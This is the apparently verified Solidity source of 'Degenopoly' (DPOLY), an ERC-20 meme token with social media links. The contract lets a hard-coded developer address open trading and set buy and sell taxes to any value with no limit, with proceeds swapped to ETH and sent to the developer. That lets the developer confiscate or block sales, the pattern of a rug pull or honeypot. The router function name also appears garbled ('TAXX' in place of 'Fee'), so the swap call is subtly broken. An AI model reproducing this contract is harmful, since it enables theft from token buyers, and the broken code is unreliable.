Contract Source Code:
File 1 of 1 : DPOLY
/*
Degenopoly (🎲,🎲)
Twitter https://twitter.com/DegenopolyERC
Telegram https://t.me/degenopolyerc
*/
// SPDX-License-Identifier: unlicense
pragma solidity 0.8.15;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingTAXXOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DPOLY {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
string public name_ = "Degenopoly";
string public symbol_ = "DPOLY";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 1000000 * 10**decimals;
uint256 buyTAXX = 0;
uint256 sellTAXX = 0;
uint256 constant swapAmount = totalSupply / 100;
error Permissions();
function name() public view virtual returns (string memory) {
return name_;
}
function symbol() public view virtual returns (string memory) {
return symbol_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed Dev,
address indexed spender,
uint256 value
);
address private pair;
address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
address payable constant Dev = payable(address(0x43EbEA19051Cee13a47803C6971a172db5C5CeD4));
bool private swapping;
bool private tradingOpen;
constructor() {
balanceOf[msg.sender] = totalSupply;
allowance[address(this)][routerAddress] = type(uint256).max;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable {}
function approve(address spender, uint256 amount) external returns (bool){
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool){
return _transfer(msg.sender, to, amount);
}
function transferFrom(address from, address to, uint256 amount) external returns (bool){
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool){
require(tradingOpen || from == Dev || to == Dev);
if(!tradingOpen && pair == address(0) && amount > 0)
pair = to;
balanceOf[from] -= amount;
if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = ETH;
_uniswapV2Router.swapExactTokensForETHSupportingTAXXOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
Dev.transfer(address(this).balance);
swapping = false;
}
if(from != address(this)){
uint256 TAXXAmount = amount * (from == pair ? buyTAXX : sellTAXX) / 100;
amount -= TAXXAmount;
balanceOf[address(this)] += TAXXAmount;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function openTrading() external {
require(msg.sender == Dev);
require(!tradingOpen);
tradingOpen = true;
}
function _setTAXX(uint256 _buy, uint256 _sell) private {
buyTAXX = _buy;
sellTAXX = _sell;
}
function setTAXX(uint256 _buy, uint256 _sell) external {
if(msg.sender != Dev)
revert Permissions();
_setTAXX(_buy, _sell);
}
}